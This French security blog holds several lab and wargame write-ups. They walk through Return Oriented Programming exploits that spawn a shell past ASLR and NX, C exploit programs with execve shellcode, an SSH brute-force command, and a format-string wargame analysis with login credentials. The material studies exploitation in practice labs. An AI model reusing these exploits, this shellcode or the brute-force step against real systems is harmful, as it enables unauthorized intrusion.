lundi 27 décembre 2010

ReChangement de bannière

Nouvelle bannière par Spl3en!

Merci à lui

mardi 9 novembre 2010

ROPoc Part 2

NB: Ce billet est la suite de mon précédent billet "ROPoc" ; donc, le lire sans avoir lu l'introduction au préalable risque d'être un poil compliqué!

Après avoir lu et étudié l'article que m'a soufflé Mysterie en réponse a mon précédent billet, j'ai décidé d'en reprendre l'exploitation afin d'illustrer un peu mieux la technique présentée.

Je re-cite l'article original : http://divine-protection.com/tc/34 .

Un peu de musique au cas ou et parce que je suis fan :



Principe

  • On désire retrouver l'adresse de system(), et ce dynamiquement.
  • On dispose d'une section non randomizée (.got) qui contient les adresses des fonctions utilisées par notre programme.
  • On sait que même si la libc est chargée aléatoirement en mémoire, elle est toujours chargée d'un bloc.

Donc on peut utiliser une entrée de la GOT pour déterminer précisément l'adresse effective de n'importe quelle fonction de la libc a partir d'offsets préalablement calculés.

Illustrons un peu ca:

sm0k@wiid ~ $ objdump -x poc | grep got
20 .got 00000004 08049ff0 08049ff0 00000ff0 2**2
21 .got.plt 00000028 08049ff4 08049ff4 00000ff4 2**2
08049ff0 l d .got 00000000 .got
08049ff4 l d .got.plt 00000000 .got.plt
08049ff4 l O .got.plt 00000000 .hidden _GLOBAL_OFFSET_TABLE_

On repère où démarre la section .got : 08049ff0

Regardons maintenant ce qu'elle contient pendant l'exécution de notre programme.

On pose pour cela un point d'arrêt sur le 'ret' de main, puis on lance le programme et on observe la GOT:

(gdb) b *main+361
Breakpoint 1 at 0x8048683
(gdb) r s
Starting program: /home/sm0k/poc s
[...]
Breakpoint 1, 0x08048683 in main ()
(gdb) x/20x 0x08049ff0
0x8049ff0: 0x00000000 0x08049f20 0xb7fff8e0 0xb7ff5e50
0x804a000 <_global_offset_table_+12> : 0x08048392 0xb7ef1fa0 0xb7f0b580 0xb7eacad0
0x804a010 <_global_offset_table_+28>: 0xb7ec19e0 0xb7ef2260 0xb7edcff0 0x00000000

(gdb) x/i 0xb7ef1fa0
0xb7ef1fa0 <fgets>: push %ebp
(gdb) x/i 0xb7ec19e0
0xb7ec19e0 <atoll>: push %ebp
[...]

On voit donc que les adresses des fonctions utilisées par notre programme sont chargées dans la GOT à l'exécution....

Regardons maintenant où est chargé system() :

(gdb) x/i system
0xb7ecd520 <system>: sub $0xc,%esp

System() commence donc à l'adresse 0xb7ecd520. Et à 0xb7ec19e0 nous avons atoll(), son adresse est stockée à l'adresse 0x804a010, de la GOT.

Pour les habitués du C, nous pouvons considérer que 0x804a010 contient un pointeur vers la fonction atoll().

Nous pouvons donc en déduire que system() se situe à (0xb7ecd520 - 0xb7ec19e0)=0xbb40 (47 936 b10) bits de atoll().

Comme nous connaissons le pointeur où est stockée l'adresse de atoll(), à savoir 0x804a010, nous pouvons dire que:

adresse de system() = (Valeur contenue à l'adresse 0x804a010) + 47 936

Nous pouvons donc dynamiquement localiser system() !

Mise en pratique

C'est bien beau tout ça mais comment peut on s'en servir?

C'est là que l'article proposé par Mysterie m'a bien aidé!

L'instruction du type add registre1 [registre2-valeur] nous sauve la vie, mais regardons le shellcode qu'on va utiliser en détail afin de comprendre pourquoi:

(Je tiens à préciser que les gadgets utilisés ici ne sont peut être pas visibles dans la sortie générée par ROPEME dans mon précédent article. Ceux ci sont toujours générés par le même script mais avec une longueur maximale de 6 instructions par gadgets.)

0x8048446L: pop eax | pop ebx | leave ||
47936
328114200
; pop eax | pop ebx: On récupère eax puis ebx sur la pile
; 47936: Valeur que prendra eax (à savoir l'offset qu'on
vient de calculer)

; 328114200: Valeur que prendra ebx
; et la vous devez vous dire "Waw ca sort d'ou ca?"
; Cette valeur résulte en fait du calcul suivant :
; ( 0x804A010 + 0xb8a0008 )=
328114200.
; 0x804A010 étant notre pointeur sur atoll() dans la got
; et 0xb8a0008 la valeur ajoutée au pointeur ebx dans
; l'instruction qui va suivre:


0x804871eL: add eax [ebx-0xb8a0008] | add esp 0x4
| pop ebx | pop ebp ||
; La premiere instruction ajoute à eax la valeur pointée par
; ebx+0xb8a0008 DONC comme eax =0xbb40 (47936 b10)
; et que [ebx-0xb8a0008]= 0x804A010 ALORS
; eax = [0x804A010] +
0xbb40 = 0xb7ecd520 = @system() :)
; NB: les crochets représentent la notion de pointeur en
; assembleur

0x80484cfL: call eax | leave ||
0x8048174
; On saute sur eax, et donc system()
; 0x8048174: Adresse de la chaine "GNU"


Notre "exploit" final :

134513734
1035
47936
1036
328114200
1037
134514462
1067
134513871
1071
134513012
1072


Afin de le tester, créons tout d'abord notre wrapper:

sm0k@wiid ~ $ echo -e "echo \"ROP rules\!\"\n/bin/sh" > GNU && chmod +x GNU && export PATH=/home/sm0k:$PATH


Et grand moment, testons cette nouvelle version de notre exploit :

sm0k@wiid ~ $ ./poc s

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e1c

Will Write 47936(bb40) at Offset 1036
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e20

Will Write 328114200(138ea018) at Offset 1037
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e24

Will Write 134514462(804871e) at Offset 1067
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6e9c

Will Write 134513871(80484cf) at Offset 1071
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6eac

Will Write 134513012(8048174) at Offset 1072
Tab Address : 0xbfbd5df0
WAdress :0xbfbd6eb0
ROP rules\!
sh-4.1$


L'exploit fonctionne à tous les coups!

mercredi 3 novembre 2010

ROPoc

Hola! Ca fesait un moment que j'étais pas venu faire un truc ici :]

J'avais envie de faire un mini introduction au Return Oriented Programming:

Considérons le code suivant :

#include <stdio.h>

void insert(int offset,int value,int * tab)
{
printf("Tab Address : %p\n",tab);
printf("WAdress :%p\n",tab+offset);
tab[offset]=value;
}

int main(int argc, char ** argv)
{
if(argc<2)
{
printf("\t Usage:%s <file>\n",argv[0]);
}
else
{

FILE * f=0;
int c;
int o;
int tab[1024];
char temp[20];

memset(tab,0,1024*sizeof(int));

f=fopen(argv[1],"r");

if(f!=NULL)
{
while (fgets(temp,20,f))
{

c=atoll(temp);

fgets(temp,20,f);

o=atoll(temp);

if(c!=0 && o!=0)
{
printf("\nWill Write %i(%x) \
at Offset %i\n",c,c,o);

insert(o,c,tab);
}
}
}
}
return 0;
}

Le binaire est disponible ici : http://repo.zenk-security.com/sm0k/Trash/poc

Aucune option de compilation n'est ajoutée, le noyau utilisé est le suivant:

wiid sm0k # uname -r
2.6.34-gentoo-r6

On utilise checksec.sh pour connaitre les mitigations activées :

sm0k@wiid ~ $ ./checksec.sh --file poc
RELRO STACK CANARY NX PIE FILE
Partial RELRO No canary found NX enabled No PIE poc

L'ASLR est activé, la GOT n'est potentiellement pas inscriptible (RELRO), le SSP n'est pas utilisé (nous aurions pu l'activer, cela n'aurait posé aucun problème pour l'exploitation qui va suivre), la pile n'est pas exécutable (exploitation par shellcode impossible), et enfin la section .text est fixe en mémoire (PIE désactivé).

Nous allons donc bypasser ASLR, NX Bit, RELRO, et SSP, tout ca a la fois :p

Le programme lit le fichier dont le nom est passé en argument ligne par ligne et stocke la représentation entière de la valeur en ligne 1 a la position x du tableau tab, x étant la valeur de la ligne 2.

Le programme boucle jusqu'à ce qu'il n'y ai plus de lignes dans le fichier.

On est ici clairement face à un débordement de tampon classique, qui de plus nous permet de bypasser le SSP puisqu'on peut réécrire saved eip sans écraser le canary.

Pour ceux qui ne l'avaient pas encore repéré la vulnérabilité est la :

tab[offset]=value;


Il aurait fallu vérifier que la valeur d'offset ne dépasse pas (taille tableau -1) à savoir 1023.

Débugguons

On pose un point d'arret au début de main, ainsi on sait facilement ou est stocké Saved EIP sur la pile (Attention on travaille avec des adresse réelles pour les calculs tant qu'on reste dans la meme instance de gdb, si on le redémarre il faudra tout recommencer.)

sm0k@wiid ~ $ gdb poc

(gdb) b *main+0
Breakpoint 1 at 0x804851a
(gdb) run
Starting program: /home/sm0k/poc

Breakpoint 1, 0x0804851a in main ()
(gdb) x/x $esp
0xbffff42c: 0xb7eacbb6


L'adresse du buffer qu'on controle, ici le tableau tab nous est donnée par le programme, mais on aurait pu la déterminer facilement en regardant les arguments passés a insert(): 0xbfffe460

On va maintenant calculer le décalage entre le début de tab et Saved EIP sur la pile :

donc 0xbffff42c - 0xbfffe460 = 0x102c = 4140

Etant donné qu'on travaille avec des int, on divise par 4 : 4140/4 = 1035

Il est donc possible de rediriger le flux d'instruction du programme en écrasant Saved EIP en écrivant à tab[1035]. W00t! :)

On va donc essayer de réécrire saved eip par 0x41414141 (1094795585 base 10), ce qui nous donne le fichier suivant:
(Souvenez vous, la première ligne contient la valeur à écrire et la seconde son offset par rapport a tab)

sm0k@wiid ~ $ cat t
1094795585
1035


On test :

(gdb) r t
Starting program: /root/poc t

Will Write 1094795585(41414141) at Offset 1035
Tab Address : 0xbfffe460
WAdress :0xbffff48c

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Bingo!

Bon on va voir comment exploiter ca maintenant...

On prend déja les infos nécessaires :

sm0k@wiid ~ $ cat /proc/self/maps
08048000-08051000 r-xp 00000000 08:03 444485 /bin/cat
08051000-08052000 r--p 00008000 08:03 444485 /bin/cat
08052000-08053000 rw-p 00009000 08:03 444485 /bin/cat
08053000-08074000 rw-p 00000000 00:00 0 [heap]
b759c000-b759d000 rw-p 00000000 00:00 0
b759d000-b76dd000 r-xp 00000000 08:03 412168 /lib/libc-2.11.2.so
b76dd000-b76df000 r--p 0013f000 08:03 412168 /lib/libc-2.11.2.so
b76df000-b76e0000 rw-p 00141000 08:03 412168 /lib/libc-2.11.2.so
b76e0000-b76e3000 rw-p 00000000 00:00 0
b76e7000-b76e8000 rw-p 00000000 00:00 0
b76e8000-b76e9000 r-xp 00000000 00:00 0 [vdso]
b76e9000-b7705000 r-xp 00000000 08:03 412117 /lib/ld-2.11.2.so
b7705000-b7706000 r--p 0001b000 08:03 412117 /lib/ld-2.11.2.so
b7706000-b7707000 rw-p 0001c000 08:03 412117 /lib/ld-2.11.2.so
bfd18000-bfd3a000 rw-p 00000000 00:00 0 [stack]

sm0k@wiid ~ $ cat /proc/self/maps
08048000-08051000 r-xp 00000000 08:03 444485 /bin/cat
08051000-08052000 r--p 00008000 08:03 444485 /bin/cat
08052000-08053000 rw-p 00009000 08:03 444485 /bin/cat
08053000-08074000 rw-p 00000000 00:00 0 [heap]
b7765000-b7766000 rw-p 00000000 00:00 0
b7766000-b78a6000 r-xp 00000000 08:03 412168 /lib/libc-2.11.2.so
b78a6000-b78a8000 r--p 0013f000 08:03 412168 /lib/libc-2.11.2.so
b78a8000-b78a9000 rw-p 00141000 08:03 412168 /lib/libc-2.11.2.so
b78a9000-b78ac000 rw-p 00000000 00:00 0
b78b0000-b78b1000 rw-p 00000000 00:00 0
b78b1000-b78b2000 r-xp 00000000 00:00 0 [vdso]
b78b2000-b78ce000 r-xp 00000000 08:03 412117 /lib/ld-2.11.2.so
b78ce000-b78cf000 r--p 0001b000 08:03 412117 /lib/ld-2.11.2.so
b78cf000-b78d0000 rw-p 0001c000 08:03 412117 /lib/ld-2.11.2.so
bfe35000-bfe57000 rw-p 00000000 00:00 0 [stack]


l'ASLR est bien activé partout(on peut le voir car les adresses 'bougent' d'une fois sur l'autre) sauf sur les sections .text et heap (le tas).
La pile n'est pas executable (Flag x non présent).

Bon ca nous facilite pas la tache comme vous pouvez le constater :)

Il reste une solution : le Return Oriented Programming.

Le principe est de rechercher dans les sections exécutables (et non touchées par l'ASLR) des "gadgets", qui sont en fait des petites portions de code directement suivies par un ret (ce qui nous permettra donc d'enchainer les gadgets).

On utilisera ensuite ces gadgets pour constituer une sorte de shellcode.

Dans la pratique, notre chaine d'exploitation ne contiendra que les adresses de nos gadgets, et donc pas d'opcodes (IDS-Safe ?! :D )

On va utiliser l'outil ROPEME pour ca:

ROPeMe> generate /home/sm0k/poc
Generating gadgets for /home/sm0k/poc with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 66 gadgets
Dumping asm gadgets to file: poc.ggt ...
OK

ROPeMe> load poc.ggt
Loading asm gadgets from file: poc.ggt ...
Loaded 66 gadgets
ELF base address: 0x8048000
OK


Et voila nos gadgets :

ROPeMe> search %
Searching for ROP gadget: % with constraints: []
0x8048512L: adc [ebx+0x10890c55] cl | leave |
0x8048517L: adc cl cl |
0x804867eL: add [eax] al | add [eax] al | leave |
0x804842dL: add [eax] al | add [ebx-0x7f] bl |
0x8048735L: add [eax] al | add [ebx-0x7f] bl |
0x804867fL: add [eax] al | add cl cl |
0x8048373L: add [eax] al | leave |
0x8048680L: add [eax] al | leave |
0x804849eL: add [ebx+0x5d5b04c4] eax |
0x804842fL: add [ebx-0x7f] bl |
0x8048737L: add [ebx-0x7f] bl |
0x80484a1L: add al 0x5b | pop ebp |
0x8048726L: add al 0x5b | pop ebp |
0x804849cL: add al 0x8 | add [ebx+0x5d5b04c4] eax |
0x80484cdL: add al 0x8 | call eax | leave |
0x8048374L: add cl cl |
0x8048681L: add cl cl |
0x8048499L: add eax 0x804a024 | add [ebx+0x5d5b04c4] eax |
0x8048440L: add eax 0xffff42e8 | call far dword [eax+0x5b] | leave |
0x8048372L: add eax [eax] | add cl cl |
0x804849fL: add esp 0x4 | pop ebx | pop ebp |
0x8048724L: add esp 0x4 | pop ebx | pop ebp |
0x804849aL: and al 0xa0 | add al 0x8 | add [ebx+0x5d5b04c4] eax |
>0x80484cfL: call eax | leave |
0x8048445L: call far dword [eax+0x5b] | leave |
0x8048743L: call far dword [ecx+0x5b] | leave |
0x80486f1L: fiadd word [ebx+0x5e5b1cc4] | pop edi | pop ebp |
0x8048511L: inc ebp | adc [ebx+0x10890c55] cl | leave |
0x8048677L: jnz 0x80485a1 | mov eax 0x0 | leave |
0x8048375L: leave |
0x8048448L: leave |
0x80484d1L: leave |
0x8048516L: mov [eax] edx | leave |
0x80484c8L: mov dword [esp] 0x8049f1c | call eax | leave |
0x804867dL: mov eax 0x0 | leave |
0x8048371L: mov eax [ebx] | add [eax] al | leave |
0x8048691L: mov ebp esp | pop ebp |
0x80486faL: mov ebx [esp] |
0x8048513L: mov edx [ebp+0xc] | mov [eax] edx | leave |
0x8048515L: or al 0x89 | adc cl cl |
>0x8048446L: pop eax | pop ebx | leave |
0x80484ceL: or bh bh | ror cl 0x1 |
0x80486f8L: pop ebp | ret | mov ebx [esp] |
0x80484a3L: pop ebp |
0x8048693L: pop ebp |
0x80486f8L: pop ebp |
0x8048447L: pop ebx | leave |
0x8048745L: pop ebx | leave |
0x80484a2L: pop ebx | pop ebp |
0x8048727L: pop ebx | pop ebp |
0x8048744L: pop ecx | pop ebx | leave |
0x80486f7L: pop edi | pop ebp |
0x80486f6L: pop esi | pop edi | pop ebp |
0x8048690L: push ebp | mov ebp esp | pop ebp |
0x8048514L: push ebp | or al 0x89 | adc cl cl |
0x80486f9L: ret | mov ebx [esp] |
0x80484d0L: ror cl 0x1 |
0x80486fbL: sbb al 0x24 |


On va maintenant récupérer l'adresse de system() qui va nous servir pour notre "shellcode" :

(gdb) x/x system
0xb7ecd520 : 0x83e58955


Notre "Shellcode" au final :

  1. 134513734 ; pop eax ; pop ebx ; leave // on récupere le prochain mot sur la pile donc l'addresse de la fonction system() pour nous. (0x8048446 en base 10)

  2. 3085751584 ; @system // L'adresse de system qu'on a récupéré (0xb7ecd520 en base 10)

  3. 134513871 ; call eax // On saute sur eax , qui contient l'adresse de system (0x8048446 en base 10)


Et la on test, et tout ne se passe pas très bien. Le problème est rapidement détecté : l'instruction leave (épilogue d'une fonction servant a restituer la pile, dans son état original, a la fonction apellante) réajuste la pile en réinitialisant le pointeur de base de pile (ebp) à la valeure actuelle d'esp (pointeur de pile). L'instruction récupère ensuite la valeur de saved ebp sur la pile, et la dépose dans ebp.

Notre pointeur de pile est donc décalé, et l'exploitation foire, vu que le call eax n'est jamais apellé :(.
Un petit calcul s'impose donc!

Trouvons tout d'abord la valeur vers laquelle pointe la pile après le leave (en débuggant ou par calcul): 0xbffff50c

Calcul de l'offset à utiliser pour ècrire à cette adresse: 0xbffff50c - 0xbfffe460 = 4268/4 = 1067

1067 Sera donc l'offset à utiliser, mettons à jour l'exploit:

134513734
1035
3085751584
1036
134513871
1067 // Notre nouvel offset


Testons à nouveau:

Starting program: /home/sm0k/poc t

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfffe460
WAdress :0xbffff48c

Will Write -1209215712(b7ecd520) at Offset 1036
Tab Address : 0xbfffe460
WAdress :0xbffff490

Will Write 134513871(80484cf) at Offset 1067
Tab Address : 0xbfffe460
WAdress :0xbffff50c
sh: Uåäðì0: command not found

Program received signal SIGSEGV, Segmentation fault.
0x080484d1 in _start ()
(gdb)


ow :] ca fonctionne, donc :)


sh: Uåäðì0: command not found


Comme on n'a pas passé d'argument à system(), il prend ce qu'il trouve en premier sur la pile, ici "Uåäðì0: ".

Bon on peut toujours utiliser le vieux trick qui consiste a créer un wrapper apellé "Uåäðì0 " ... Mais on va quand meme essayer de controler l'input de system()...

On va explorer les section non randomizées et essayer de trouver une chaine...

(gdb) maintenance info sections
Exec file:
`/home/sm0k/poc', file type elf32-i386.
0x8048154->0x8048167 at 0x00000154: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048168->0x8048188 at 0x00000168: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048188->0x80481c0 at 0x00000188: .hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80481c0->0x80481e0 at 0x000001c0: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80481e0->0x8048270 at 0x000001e0: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048270->0x80482df at 0x00000270: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80482e0->0x80482f2 at 0x000002e0: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80482f4->0x8048324 at 0x000002f4: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048324->0x804832c at 0x00000324: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804832c->0x8048364 at 0x0000032c: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048364->0x804837b at 0x00000364: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x804837c->0x80483fc at 0x0000037c: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048400->0x804872c at 0x00000400: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x804872c->0x8048748 at 0x0000072c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048748->0x80487a9 at 0x00000748: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80487ac->0x80487b0 at 0x000007ac: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8049f0c->0x8049f14 at 0x00000f0c: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x8049f14->0x8049f1c at 0x00000f14: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x8049f1c->0x8049f20 at 0x00000f1c: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x8049f20->0x8049ff0 at 0x00000f20: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x8049ff0->0x8049ff4 at 0x00000ff0: .got ALLOC LOAD DATA HAS_CONTENTS
0x8049ff4->0x804a01c at 0x00000ff4: .got.plt ALLOC LOAD DATA HAS_CONTENTS
0x804a01c->0x804a024 at 0x0000101c: .data ALLOC LOAD DATA HAS_CONTENTS
0x804a024->0x804a02c at 0x00001024: .bss ALLOC
0x0000->0x0022 at 0x00001024: .comment READONLY HAS_CONTENTS


Ceci :

0x8048174: "GNU"


sera parfait. On met l'exploit a jour...

134513734
1035
3085751584
1036
134513871
1067
134513012 //Adresse de la chaine "GNU" (0x8048174 en base 10)
1068


On crée un wrapper:

sm0k@wiid ~ $ echo "/bin/sh" > GNU && chmod +x GNU && export PATH=/home/sm0k:$PATH


Et on retest:

Starting program: /home/sm0k/poc t

Will Write 134513734(8048446) at Offset 1035
Tab Address : 0xbfffe400
WAdress :0xbffff42c

Will Write -1209215712(b7ecd520) at Offset 1036
Tab Address : 0xbfffe400
WAdress :0xbffff430

Will Write 134513871(80484cf) at Offset 1067
Tab Address : 0xbfffe400
WAdress :0xbffff4ac

Will Write 134513012(8048174) at Offset 1068
Tab Address : 0xbfffe400
WAdress :0xbffff4b0
sh-4.1$ echo "owi"
owi


Et Poc!

Conclusion

  • Ici ca reste irréaliste :(. La chaine "GNU" dèja, c'est pas super reliable... Mais sur un programme de plus grande taille on a quand meme des chances de trouver plus pratique.
  • L'adresse de system() vient de la libc, qui est randomizée :( On pourrait peut être envisager un shellcode qui réécrit la GOT si on avait assez de gadgets? Si le programme était plus grand, on trouverais facilement une alternative à system() dans la section .text qui elle, n'est pas randomizée. C'est aussi possible que cette solution soit dans le programme mais que je l'ai pas vue!!
  • Eviter les leaves, ou alors en fin de shellcode...
Vos commentaires sont les bienvenus!

jeudi 6 mai 2010

Huhu



Le Crédit Lyonnais :p

samedi 17 avril 2010

VM Zenk Security [Applicative] N°2

Bonsoir, voici enfin la seconde VM spéciale Zenk!

Vous êtes sensés l'utiliser en tant que black box, c'est à dire l'attaquer de l'extérieur, comme si vous n'y aviez pas accès physiquement.
La VM tourne sous VMWare.

http://www.megaupload.com/?d=4H5Q6RYB

Voila pour les infos:
[root@ZenkApp2 ~]# uname -r
2.6.32-ARCH

L'ASLR est activé, la pile est exécutable, les binaires sont compilés avec l'option -fno-stack-protector

Voici les instructions:

Serveur ssh port 22
- Login : user1
- Pass : user1

Level1
Objectif : Lire le fichier /home/user2/pass
Indice : http://www.milw0rm.com/papers/7

Level2
Objectif : Lire le fichier /home/user3/pass
Indice : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf http://plasticsouptaste.blogspot.com/2010/03/format-string-par-lexemple.html (Han le mec qui se fait de la pub...) http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level3
Objectif : Lire le fichier /home/user4/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Level4
Objectif : Lire le fichier /root/pass
Indice : http://www-users.rwth-aachen.de/Tilo.Mueller/ASLRpaper.pdf

Je rajouterais des indices si besoin est, n'hésitez pas à poser vos questions.

jeudi 8 avril 2010

VM Zenk Security [Applicative] N°1

Bonjour!

Comme certains d'entre vous le savent déjà, je fais partie de la communauté Zenk Security pour laquelle j'ai réalisé une petite VM de challenges applicatifs.

Rien de compliqué, c'est une Debian 3.1 basée sur un kernel 2.4.27.

Elle est disponible ici:

http://rapidshare.com/files/373125517/VMZenk_App1.7z

C'est une VM qui doit être attaquée de l'extérieur (comme si on avait pas d'accès physique à la machine).

Il y a un serveur ssh sur le port 22, et nous connaissons le nom d'un utilisateur: user1 .

Niveau 1
Objectif: Obtenir un accès user1 à la machine
Indice: Nous savons que c'est un mot de passe court composé de caractères seulement.

Niveau 2
Objectif: Obtenir un accès user2 à la machine
Indice: Aucun


Niveau 3

Objectif: Lire le fichier /root/yeah
Indice: Aucun

Et voici donc mes solutions (Attention spoiler:)

Level1:
root@bt:/pentest/passwords/brutessh# ./brutessh.py -h 192.168.0.17 -u user1 -d ../wordlists/darkc0de.lst


Level2
#include <stdio.h>
#include <string.h>

int main(void)
{
int nbnop=109;

char shellcode[] =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

//Adresses de retour possibles (call *%eax):
// 0x80483bf
// 0x8048523
char retA[]="\xbf\x83\x04\x08";

char data[500];
char sysc[600];

memset(data,0,(sizeof(char))*500);
memset(sysc,0,(sizeof(char))*600);

int i=0;

printf("Prepare sc..\n");

strncat(data,shellcode,500);

printf("Prepare nop..\n");

for(i=0;i<(nbnop);i++)
{
strncat(data,"\x90",500);
}

strncat(data,retA,500);

printf("Prepare new eip..\n");

strncpy(sysc,"/home/user1/1 ",600);
printf("Prepare data..\n");

strncat(sysc,data,500);
printf("Try..\n");

system(sysc);
}


Level3
#include <string.h>

#define FILE_TO_READ "/root/yeah"

int main(void)
{
char junkdata[600];
char sysc[700];

printf("Prepare junkdata..\n");

memset(junkdata,0,(sizeof(char))*600);
memset(junkdata,0x41,(sizeof(char))*520);

strncat(junkdata,FILE_TO_READ,600);

printf("Prepare filename..\n");

strncpy(sysc,"/home/user2/2 ",600);

strncat(sysc,junkdata,700);

printf("Try..\n");

system(sysc);
}

vendredi 5 mars 2010

Format String par l'exemple

Behemoth level4 [Intruded.net]
behemoth.intruded.net : 10103
user : level4
pass : Shai#N9b

level4@behemoth:~$ cd /wargame/
level4@behemoth:/wargame$ ./level4
Identify yourself: 5m0k3
Welcome, 5m0k3

Voyons si un Bof est possible :

level4@behemoth:/wargame$ (python -c "print 'A'*512") | ./level4
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level4@behemoth:/wargame$

Non... Peut etre une format string?

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c

Ok, regardons donc le binaire de plus près...


level4@behemoth:/wargame$ gdb level4

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: sub $0xe8,%esp
0x080483fd <main+9>: and $0xfffffff0,%esp
0x08048400 <main+12>: mov $0x0,%eax
0x08048405 <main+17>: add $0xf,%eax
0x08048408 <main+20>: add $0xf,%eax
0x0804840b <main+23>: shr $0x4,%eax
0x0804840e <main+26>: shl $0x4,%eax
0x08048411 <main+29>: sub %eax,%esp
0x08048413 <main+31>: movl $0x3ed,(%esp)
0x0804841a <main+38>: call 0x80482ec <seteuid@plt>
; setuid(1005) : La il nous mache un peu le travail...
0x0804841f <main+43>: movl $0x8048568,(%esp)
0x08048426 <main+50>: call 0x804831c <printf@plt>
; printf("Identify yourself:")
0x0804842b <main+55>: mov 0x8049698,%eax
0x08048430 <main+60>: mov %eax,0x8(%esp)
0x08048434 <main+64>: movl $0xc8,0x4(%esp)
0x0804843c <main+72>: lea 0xffffff28(%ebp),%eax
0x08048442 <main+78>: mov %eax,(%esp)
0x08048445 <main+81>: call 0x80482fc <fgets@plt>
; fgets() pour saisir le nom
0x0804844a <main+86>: movl $0x804857c,(%esp)
0x08048451 <main+93>: call 0x804831c <printf@plt>
; printf("Welcome")
0x08048456 <main+98>: lea 0xffffff28(%ebp),%eax
0x0804845c <main+104>: mov %eax,(%esp)
0x0804845f <main+107>: call 0x804831c <printf@plt>
; printf(nom) <= Format String Vulnerability
0x08048464 <main+112>: mov $0x0,%eax
0x08048469 <main+117>: leave
0x0804846a <main+118>: ret


On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...
(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78

On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)

Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.

On décide ici de réécrire le pointeur .dtor => Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:

level4@behemoth:/wargame$ objdump -x level4|grep dtor
16 .dtors 00000008 08049594 08049594 00000594 2**2
08049594 l d .dtors 00000000 .dtors
08049594 l O .dtors 00000000 __DTOR_LIST__
08048390 l F .text 00000000 __do_global_dtors_aux
08049598 l O .dtors 00000000 __DTOR_END__ ================> ICI :)

Donc il faudra écrire a l'adresse 0x08049598.

Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.

On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:

level4@behemoth:/wargame$ gdb level4
(...)
(gdb) b *main +118
Breakpoint 1 at 0x804846a

donc on pose un breakpoint juste avant le ret de main()

(gdb) r
Starting program: /wargame/level4
Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804846a in main ()
(gdb) x/256x $esp-256
0xbffff91c: 0x08048464 0xbffff940 0x000000c8 0xb7fe0300
0xbffff92c: 0xb7eb634c 0xb7ebea1c 0xb7ec3b6e 0x00000000
0xbffff93c: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x41414141 0x41414141 0x41414141
